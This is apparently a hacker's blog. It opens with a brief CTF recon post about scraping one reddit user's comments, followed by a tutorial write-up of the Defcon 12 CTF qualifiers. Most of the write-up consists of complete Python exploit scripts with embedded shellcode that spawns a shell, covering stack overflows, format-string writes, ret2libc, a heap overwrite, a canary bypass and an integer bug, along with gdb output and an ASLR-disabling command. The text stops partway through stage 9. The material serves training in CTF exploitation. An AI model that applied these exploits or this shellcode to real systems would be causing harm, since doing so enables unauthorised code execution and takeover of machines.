I hope this is my last post about clickjacking ever. :)

Dan Guido’s Favorite Food? (A script to search reddit comments)

CSAW CTF was fun. My team (ACMEPharm) solved all the challenges but network 400, which was a dumb challenge anyway :P

One of the other challenges we struggled with was a recon one: “what is Dan Guido’s favorite food”? There was also a hint that said something like “A lot of our users use reddit”. Since we had already solved all the other recon challenges and none required reddit, we were fairly certain this is where to look. Looking at dguido’s page there are tons of links- he’s part of the 5 year club.

Reddit has a robots.txt that tells search engines not to search it, and also a user’s comments aren’t indexed so they aren’t searchable using it’s search. This was the motivation for me to scrape a user’s comments so I could search through them locally.

#!/usr/bin/python

import urllib
import sys
import time

class AppURLopener(urllib.FancyURLopener):
    version = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1"

urllib._urlopener = AppURLopener()

class redditScrape:
    def __init__(self, startpage):
        self.thispage = startpage
        self.counter = 1

    def getInfo(self):
        while 1:
            print "Fetching ", self.thispage
            f = urllib.urlopen(self.thispage)
            data = f.read()
            self.saveHtml(data)
            self.getNextPage(data)
            #reddit asks for only one request every two seconds
            time.sleep(2)

    def saveHtml(self, data):
        f = open(str(self.counter), "w")
        f.write(self.thispage + "\n\n")
        f.write(data)
        f.close()

    def getNextPage(self, data):
        index = data.find("rel=\"nofollow next\"")
        if index == -1:
            print "Search done"
            sys.exit(0)
        else:
            hrefstart = data.rfind("href", 0, index) + 6
            hrefend = data.find("\"", hrefstart)
            self.thispage = data[hrefstart: hrefend]
            self.counter += 1

a = redditScrape("http://www.reddit.com/user/dguido")
a.getInfo()

Then I would

grep -Ri "cheese" .
grep -Ri "pizza" .
...

Unfortunately the answer turned out to be in another person’s comment so my script missed it, but someone else on my team found it not long after… in a thread I was blabbering in.

Defcon 2004 CTF Quals Writeup

Aaaaaah, yeah. Qualifying for Defcon 12, suckers!

This post is a tutorial-style writeup of all the Defcon 12 CTF qualifiers I could manage to solve. It should be a decent place to start if you haven’t done a lot of CTF style challenges/binary exploitation before, since the binaries all easily run on Linux and there are solutions available. I originally grabbed the binaries here, and I’ve also mirrored them here. Thanks captf.com, Defcon, and (I think) Ghetto Hackers!

I thought these challenges were fun, and there were a couple things I came across that I haven’t seen before. If this were skiing, this would be a blue square, which stands for intermediate. It might be a bit boring for the pros, but I’m not going to re-hash your first buffer overflow or talk about all the details of a format string either (and there should be enough information to hopefully follow along if you get stuck at any point).

If you try these and you do get stuck, feel free to ask questions and I’ll do my best to answer them.

Setup

Downloading the challenges, these are just a bunch of ELF files that are run locally. I assume in the real qualifiers each stage was probably setuid to the next level, similar to how other popular challenges like smashthestack work. My goal for each level was to simply get a single shell. I reused the same /bin/dash shellcode again and again. I made no effort to make things reliable or anything, and in some cases it would be pretty difficult to make these exploits reliable.

I used a Backtrack 5 R2 32 bit vm. 32 bit may be important since by default 32 bit doesn’t seem to enable NX, so depending on the binary it might be easier to execute code on the stack.

root@bt:~# dmesg |grep -i nx
[    0.000000] Notice: NX (Execute Disable) protection cannot be enabled: non-PAE kernel!

Also, I disabled ASLR.

root@bt:~# echo 0 > /proc/sys/kernel/randomize_va_space 

As for tools, I pretty much only used python, IDA Pro and gdb. Alright, let’s get cracking!

Stage 2

This one was a very straightforward stack overflow. The first thing I did was just run it with a long argv1. It crashed. So then I set ulimit -c unlimited and metasploits pattern_create/pattern_offset to observe the dump.

./stage2 `pattern_create.rb 1024`

This created a segfault

gdb ./stage2 core
info registers
...

shell ./pattern_offset.rb 35644134
104

So offset 104 for an eip overwrite, and the shellcode can probably go after 104, since that doesn’t seem to have been modified.

#!/usr/bin/python

import os
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage2"

    #spawns /bin/dash, real server may require different stuff (connectback, etc)
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    retaddr = struct.pack("<I", 0xbffffcf0) * 5
    padlen = 100

    self.payload = ("A" * 100 + retaddr + "\x90" * 300) + dashsc
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : dashsc}

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 3

This looks like a straightforward format string

.text:08048364 push    ebp
.text:08048365 mov     ebp, esp
.text:08048367 sub     esp, 8
.text:0804836A mov     eax, [ebp+format]
.text:0804836D mov     [esp], eax      ; format
.text:08048370 call    _printf
.text:08048375 leave
.text:08048376 retn
.text:08048376 sub_8048364

And sure enough running with %n crashes the process. Looking for a location to overwrite:

# objdump -s -j .dtors stage3

stage3:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

So overwriteloc = 8049598

#!/usr/bin/python

import struct
import os

class exploit:
	def __init__(self):
		self.vulnpath = "/root/Desktop/stage3"

		#spawns /bin/dash
		dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
		)

		owlocation = 0x08049598
		#owValue = 0x41414242
		owValue = 0xbfffff3c

		#nice to make sure self.payload is always a consistent length
		#padlen and offset are tied together
		padlen = 562
		offset = 110

		#fmtstr = "AAAABBBBCCCCDDD %113$08x"
		fmtstr = self.address_overwrite_format(owlocation, owValue)
		self.payload = (self.padstr(fmtstr))
		self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" *112 +  dashsc}

	def padstr(self, payload, padlen=650):
		if (len(payload) > padlen):
			raise "payload too long"
		return payload + (" " * (padlen-len(payload)))

	def address_overwrite_format(self, owlocation, owvalue):
		HOW = owvalue >> 16
		LOW = owvalue & 0xffff
		mformat = ""
		if LOW > HOW:
			mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8) +"x%113$hn%." + str(LOW-HOW) + "x%114$hn"
		else:
			print "here"
			mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8) +"x%114$hn%." + str(HOW-LOW) + "x%113$hn"
		return mformat

	def pwn(self):
		os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 4

This one needs both HELLOWORLD envrironment variable and an arg

Helloworld overwrites the local counter variable, which is used as an offset.

The loop at 08048472 is copying from src+var_counter to buffer+varcounter, one byte at a time. When we overflow, we overwrite the counter (at byte offset 125) so using this we can overwrite the return address on the stack (at offset 140).

Here’s the loop:

.text:08048472 loc_8048472:                            ; CODE XREF: func_infinite+4Ej
.text:08048472                 mov     eax, [ebp+var_counter]
.text:08048475                 add     eax, [ebp+src]
.text:08048478                 cmp     byte ptr [eax], 0
.text:0804847B                 jnz     short loc_804847F
.text:0804847D                 jmp     short locret_804849C
.text:0804847F ; ---------------------------------------------------------------------------
.text:0804847F
.text:0804847F loc_804847F:                            ; CODE XREF: func_infinite+2Fj
.text:0804847F                 lea     eax, [ebp+buffer] ; copy from src+counter to buffer+counter
.text:08048485                 mov     edx, eax
.text:08048487                 add     edx, [ebp+var_counter]
.text:0804848A                 mov     eax, [ebp+var_counter]
.text:0804848D                 add     eax, [ebp+src]
.text:08048490                 movzx   eax, byte ptr [eax]
.text:08048493                 mov     [edx], al
.text:08048495                 lea     eax, [ebp+var_counter]
.text:08048498                 inc     dword ptr [eax]
.text:0804849A                 jmp     short loc_8048472
.text:0804849C ; ---------------------------------------------------------------------------
.text:0804849C
.text:0804849C locret_804849C:                         ; CODE XREF: func_infinite+31j
.text:0804849C                 leave
.text:0804849D                 retn

The stack looks like this:

-00000088 buffer          db 124 dup(?)
-0000000C var_counter     dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 src             dd ?

So the final exploit was:

#!/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage4"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    overwriteaddr = struct.pack("<I", 0xbffffe60)

    arg1 = "A" * 140
    #eip offset is at 140 (0x8b)
    #we overwrite the counter byte at 125
    envin = "B" * 124 + "\x8b" + "B" * 15 + overwriteaddr

    self.payload = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc, "HELLOWORLD" : envin}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $src=8",
      "set $counter=-0xc",
      "set $buffer=-0x88",
      "break *0x08048472 if *(int)($ebp-0xc) == 124",
      "run " + '"' + self.payload + '"',
      "info registers",
      "disable 1",
      "break *0x08048472",
      "x/d $ebp + $counter"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 5

I’m not sure why this level exists… it’s the easiest yet… vanilla strcpy. Literally a 5 minute level. To make the tutorial more interesting, I tried to exploit this without executing code on the stack with return2libc.

First, I created a simple setuid program named wrapper:

int main() {
	setuid(0);
	setgid(0);
	system("/bin/sh");
}

Now the goal is to craft the stack so that I call execl like this:

execl("./wrapper", "./wrapper", NULL);

Because arguments are pushed in reverse, I need to put NULL in my string before “./wrapper”. One way to solve this is by putting a printf before the execv that has a format string, and then you can write NULL to the correct location on the stack before execl is called. (e.g. printf(“%3$n”, xxxx, xxxx, xxxx, myaddress)). In the end I need several addresses: the address for libc printf, libc execl, a pointer to the string %3$n, a pointer to the string “./wrapper”, and the stack address “myaddress”. I found these addresses by intentionally crashing the program with an invalid printf address and other placeholders, opening the core file with gdb and searching for the addresses. Useful gdb commands are “p printf” and “find $esp, 0xbfffffff, “./wrapper””.

The final exploit (which never executes on the stack and will vary based on your computer) looks like this:

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage5"
 
    printf = struct.pack("<I", 0xb7ebb130)
    execl = struct.pack("<I", 0xb7f0c330)
    formatstr = struct.pack("<I", 0xbfffffee) #points to %3$n
    progname = struct.pack("<I", 0xbfffffcd) #points to "./wrapper"
    nullwrite = struct.pack("<I", 0xbffffd30) #points to itself

    arg1 = "A" * 260 + printf + execl + formatstr + progname + progname + nullwrite
    

    self.payload = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "blah" : "./wrapper"}
    self.mfile = "command.gdb"

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)

m = exploit()
m.pwn()

Stage 6

This is a heap overflow resulting in an arbitrary overwrite with the linking/unlinking. The while loop at the end is to prevent us from simply overwriting dtors.

I think the best approach is:

• We can control src and dest for the last strcpy at 0804841F
• Use it to overwrite our own return value saved on the stack for strcpy itself

One note is I used core dumps again rather than running with gdb directly, so gdb didn’t mess with any of the stack values since they’re sensative. Calculating how big stuff should be, arg1 starts overwriting the destination at offset 268

Here I try that with owDest set to 0x56565656, and ecx set to AAAAAAAA..

(gdb) info registers
eax            0x56565656	1448498774
ecx            0x42	66
edx            0x0	0
ebx            0xb7fcaff4	-1208176652
esp            0xbffffae0	0xbffffae0
ebp            0xbffffae8	0xbffffae8
esi            0x56565655	1448498773
edi            0xbffffebe	-1073742146
eip            0xb7ee8214	0xb7ee8214 <strcpy+20>
eflags         0x210246	[ PF ZF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7ee8214 <strcpy+20>:	mov    %cl,0x1(%esi,%edx,1)

Looking around for valid addresses…

(gdb) x/i $eip
=> 0xb7ee8214 <strcpy+20>:	mov    %cl,0x1(%esi,%edx,1)
(gdb) backtrace
#0  0xb7ee8214 in strcpy () from /lib/tls/i686/cmov/libc.so.6
#1  0x08048424 in ?? ()
#2  0xb7e8bbd6 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
#3  0x08048321 in ?? ()
(gdb) x/20x $esp
0xbffffae0:	0x00000000	0x00000000	0xbffffc18	0x08048424
0xbffffaf0:	0x56565656	0xbffffebe	0xb7e78ba8	0x00000001
0xbffffb00:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb20:	0x41414141	0x41414141	0x41414141	0x41414141

So we want to overwrite $esp + 12, or dest=0xbffffaec with an address for our shellcode, or 0xbfffff30. And bam, this works

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage6"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )
    owDest = struct.pack("<I", 0xbffffaec)
    scAddr = struct.pack("<I", 0xbfffff30)

    arg1 = "A" * 268 + owDest
    arg2 = scAddr

    self.arg1 = arg1
    self.arg2 = arg2
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $arg1=0xc + 4",
      "set $arg2=0xc + 8",
      #"break *0x0804841F",
      "run " + '"' + self.arg1 + '" "' + self.arg2 + '"',
      "x/i $eip",
      "info registers"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.arg1, self.arg2], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 7

This problem has a simple strcpy overflow, but we can’t just overwrite the ret value because of this “canary” loop that makes sure our string terminates.

.text:08048436
.text:08048436 loc_8048436:
.text:08048436 cmp     [ebp+var_a], 0
.text:0804843B jnz     short loc_8

Since var_a (a local variable) is 0, that terminates our strcpy string and we’d have to terminate our overrun. But, there’s also a format string where we can overwrite a single word

Strategy:

• Simple regular overflow with the strcpy (it can’t be a whole address – only a word and this is in range)
• Printf overwrite the value for var_a

Important Offsets:
• 264 to var_malloced, which contains the value the location we can overwrite with our format string
• 270 to var_a, which we’re trying to overwrite with 0, but we can’t directly because it will end our string.
• 284 to ret

Format string is like: mov %dx,(%eax), where %dx is n (the number of bytes). Having an overwrite that’s exactly 2** 16th should wrap the value, so we can get a 0 into dx and bypass the “canary”, since the canary is only comparing 2 bytes with cmpw

0x08048436 in ?? ()
=> 0x8048436:	cmpw   $0x0,-0xa(%ebp)

To get the address where the canary (var_a) exists, I let it run in that continuous loop and attached a debugger after running.

(gdb) attach 21379
Attaching to process 21379
Reading symbols from /root/Desktop/defcon/7/stage7...(no debugging symbols found)...done.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x08048436 in ?? ()
(gdb) x/i $eip
=> 0x8048436:	cmpw   $0x0,-0xa(%ebp)
(gdb) x/x $ebp -0xa    #this is the value we need to overwrite
0xbffefd1e:	0x43434343
(gdb) x/x 0xbffefb8e      #this is the value I guessed to be overwritten, so off a bit
0xbffefb8e:	0xf0000000

Here’s the final code:

#/usr/bin/python

import os
import argparse
import struct

class exploit:
  def __init__(self):
    self.vulnpath = "./stage7"

    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

    #overwrite var_a with 0 to bypass the "canary"
    var_malloced = struct.pack("<I", 0xbffefd1e)
    var_a = struct.pack("<I", 0x43434343)

    ret_ow = struct.pack("<I", 0xbfffff10)

    arg1 = "A" * 264 + var_malloced + "AA" + var_a + "Q"* 10 + ret_ow

    #pad arg1 so it's 2**16 to have our overwrite value be exactly 0
    arg1 += "D" * (2**16 - len(arg1))

    self.arg1 = arg1
    self.env = {"shell" : "/bin/dash", "format" : "%3$n", "sc" : "\x90" * 200 + dashsc}
    self.mfile = "command.gdb"

  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "set $var_a=-0xA",
      "set $arg2=0xc + 8",
      "run " + '"' + self.arg1 + '"',
      "x/i $eip",
      "info registers"
    ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.arg1], self.env)

parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 8

This program crashes very easily, but the exploit took a few steps. Here’s the overall strategy.

  1. Overwrite the address 0x41414141 with the value 9000, which will segfault. Note ebp in the crash dump (in the prog below this is owDest, which references the %hn and owValue is the len being put there)
    Program terminated with signal 11, Segmentation fault.
    #0  0xb7eb4ec1 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
    (gdb) info registers 
    eax            0x41414141	1094795585
    ecx            0xbfff6d3c	-1073779396
    edx            0x9000	36864
    ebx            0xb7fc9ff4	-1208180748
    esp            0xbfff665c	0xbfff665c
    ebp            0xbfff6be8	0xbfff6be8
    esi            0xbfff6c10	-1073779696
    edi            0xbfff6d38	-1073779400
    eip            0xb7eb4ec1	0xb7eb4ec1 <vfprintf+17073>
    eflags         0x10286	[ PF SF IF RF ]
    cs             0x73	115
    ss             0x7b	123
    ds             0x7b	123
    es             0x7b	123
    fs             0x0	0
    gs             0x33	51
    (gdb) x/i $eip
    => 0xb7eb4ec1 <vfprintf+17073>:	mov    %dx,(%eax)
    
    
  2. Overwrite ebp with xxxx9000, which is an address we control. This took some trial and error to see how long it should be, but 9000 seems reasonable

    (gdb) x/x 0xbfff9000
    0xbfff9000:	0x41414141
    
  3. Having accomplished the first two steps, we still segfault at the end of vsnprintf movb 0x0,($edx). We control edx, so find this offset so we overwrite something harmlessly. Using msf_pattern, this offset is at location 8012. Below is the crash.

    (gdb) info registers 
    eax            0x9000	36864
    ecx            0xbfff6bf4	-1073779724
    edx            0x41414141	1094795585
    ebx            0xb7fc9ff4	-1208180748
    esp            0xbfff6bf4	0xbfff6bf4
    ebp            0xbfff9000	0xbfff9000
    esi            0xbfff6cb0	-1073779536
    edi            0xbfff6d38	-1073779400
    eip            0xb7ed446e	0xb7ed446e <vsnprintf+206>
    eflags         0x10a87	[ CF PF SF IF OF RF ]
    cs             0x73	115
    ss             0x7b	123
    ds             0x7b	123
    es             0x7b	123
    fs             0x0	0
    gs             0x33	51
    (gdb) x/i $eip
    => 0xb7ed446e <vsnprintf+206>:	movb   $0x0,(%edx)
    
    
  4. Ebp now points to our controlled value, so we need to find offset to the xxxx9000 that we’re pointing at, and point it at our shellcode (remember it’s a pointer to our shellcode, not our shellcode itself). It’s offset is at 8012 + 216, and searching through the program for our shellcode we can just point it at that.

Now that we have all these offsets, we can build an exploit.

#/usr/bin/python

import os
import argparse
import struct
from subprocess import *

class exploit:
  def __init__(self):
    self.vulnpath = "./stage8"
 
    #spawns /bin/dash
    dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )


    #at the segfault, this is the return stack
    #overwrite $ebp
    owDest = struct.pack("<I", 0xbfff6be8)
    owValue = 0x9000

    #useful msf patterns to find offsets
    #patternprog = "/usr/bin/ruby /opt/framework3/msf3/tools/pattern_create.rb " + str(owValue)
    #msfhandle = Popen(patternprog, shell=True, stdout=PIPE)
    #msf_pattern = msfhandle.communicate()[0].strip()

    garbageow = struct.pack("<I", 0xbfffffc4)
    ebpPointer = struct.pack("<I", 0x45454545)
    ebpPointer = struct.pack("<I", 0x41414141)
    eipPointer = struct.pack("<I", 0xbfff7c90)

    dashsc += "\x90" * 5000 + dashsc
    self.payload = owDest + dashsc + ("A" * (8012-len(dashsc)))
    self.payload += garbageow + "C" * 212 + ebpPointer + eipPointer
    self.payload += "G" * (owValue - len(self.payload)-2)

    self.env = {"shell" : "/bin/dash", "format" : "%3$n"}
    self.mfile = "command.gdb"

  #addresses were finicky - I opted to use dump files for this one
  def rungdb(self):
    #write to command.gdb
    mf = open(self.mfile, "w")
    #edit me
    commands = [
      "file " + self.vulnpath,
      "break *0x08048453",
      "run " + '"' + self.payload + '"',
      ]
    mf.writelines([i + "\n" for i in commands])
    mf.close()

    gdbargs = ["/usr/bin/gdb", "-x", self.mfile]
    os.execve("/usr/bin/gdb", gdbargs, self.env)

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.payload], self.env)


parser = argparse.ArgumentParser()
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
m = exploit()
if args.debug:
    m.rungdb()
else:
    m.pwn()

Stage 9

One of the first things I noticed here was ctype call, so this was useful: http://refspecs.linuxbase.org/LSB_3.0.0/LSB-Core-generic/LSB-Core-generic/baselib—ctype-b-loc.html

The check at 0x080484B9 needs a 0x80 at an even offset to succeed, and we can only control up to the table plus 0xff.Looking at these values:

(gdb) x/510hx $eax+1
0xb7f92721:	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8
0xb7f92731:	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8	0x0800	0x00d8
0xb7f92741:	0x0800	0x00d8	0x0800	0x00d8	0x0400	0x00c0	0x0400	0x00c0
0xb7f92751:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0
0xb7f92761:	0x0400	0x00c0	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00d5
0xb7f92771:	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00d5	0x0800	0x00c5
0xb7f92781:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f92791:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927a1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927b1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5
0xb7f927c1:	0x0800	0x00c5	0x0800	0x00c5	0x0800	0x00c5	0x0400	0x00c0
0xb7f927d1:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0
0xb7f927e1:	0x0400	0x00c0	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00d6
0xb7f927f1:	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00d6	0x0800	0x00c6
0xb7f92801:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92811:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92821:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92831:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6
0xb7f92841:	0x0800	0x00c6	0x0800	0x00c6	0x0800	0x00c6	0x0400	0x00c0
0xb7f92851:	0x0400	0x00c0	0x0400	0x00c0	0x0400	0x00c0

Also, looking ahead in the code, var_58 (which is retrieved from a wonky calculation from the lookup table) is first checked to see if it’s bigger than 0x4f, and if it is it’s just set to 0x4f. This is the size of our buffer.

08048523 jle     short loc_804852C
08048525 mov     [ebp+var_58], 4Fh
...

This value is then put in a loop until it’s equal to -1, and var_58 is treated like a counter, being decremented every time. Meanwhile, our arg is copied into that buffer of size 0x4f.

.text:08048530
.text:08048530 loc_8048530:                            ; CODE XREF: main+55j
.text:08048530                 dec     [ebp+var_58]
.text:08048533                 cmp     [ebp+var_58], 0FFFFFFFFh
.text:08048537                 jnz     short loc_8048540
.text:08048539                 jmp     short loc_8048553
.text:08048539 ; ---------------------------------------------------------------------------
.text:0804853B                 align 10h
.text:08048540
.text:08048540 loc_8048540:                            ; CODE XREF: main+3Bj
.text:08048540                 call    _getchar
.text:08048545                 mov     eax, eax
.text:08048547                 mov     ecx, [ebp+var_bufferptr]
.text:0804854A                 mov     edx, ecx
.text:0804854C                 mov     [edx], al
.text:0804854E                 inc     [ebp+var_bufferptr]
.text:08048551                 jmp     short loc_8048530
.text:08048553 ; ---------------------------------------------------------------------------

This has an integer error since it’s checking if our signed int is -1 and then decing it. The more negative our number the less iterations we go through, and while we don’t need to be exact, there’s a > 2GB difference between -2 and the -MAX_INT. Let’s see the most negative number we can get from the weird calculation. As input there are quite a few numbers that have \x80 that we could play with. However I tried to just “brute force” this and use the second one at offset \x30 (if you use the first one, it subtracts the value and it’s a nop). So I gave it a bunch of \x30s (thousands) and set a conditional breakpoint to check what the value is.

"break *0x080484E3 if $edx  < -2000000000",

I also had a breakpoint set so it would print the original arg address

      "break *0x08048530",
      "print \"EBP plus arg0 is: \"",
      "print $ebp + 8" ,

So sure enough, there is a \x30 which is below -2000000000 (close enough to -MAX_INT). To calculate, I can just take the difference of the value printed and the value of $ebp+8 at the breakpoint. The difference is 18, so in conclustion 18 “\x30” gives us a number pretty close to -INT_MAX, which is our smallest distance to get back to -1 and exit the loop.

There is still a lot of space there that we need to have available for overwriting to avoid a segfault. We need about 2.3GB of space to overwrite. I needed to configure my environment to allow this, but your kernel could also have restrictions.

ulimit -s unlimited
getconf ARG_MAX 

Even setting bash to the max, 2.3 GB was more than Backtrack 5 R2 32 bit allows without a kernel recompilation. I ended up having to migrate to 64 bit Backtrack R3, which allowed a big enough stack size out of the box.

So now I needed to generate a massive STDIN. This is what’s overwriting my buffer and will contain my shellcode.

#!/usr/bin/python
import struct

f = open("stdin", "w")

    #spawns /bin/dash
dashsc = (
"\xd9\xec\xbd\xb6\xac\xb7\x84\xd9\x74\x24\xf4\x5e\x31\xc9" +
"\xb1\x0c\x31\x6e\x18\x03\x6e\x18\x83\xc6\xb2\x4e\x42\xee" +
"\xb1\xd6\x34\xbd\xa3\x8e\x6b\x21\xa2\xa8\x1c\x8a\xc7\x5e" +
"\xdd\xbc\x08\xfd\xb4\x52\xdf\xe2\x15\x43\xd5\xe4\x99\x93" +
"\xc6\x86\xf0\xfd\x37\x23\x62\x71\x2f\xab\x33\x26\x26\x4a" +
"\x76\x48"
    )

#random stack address
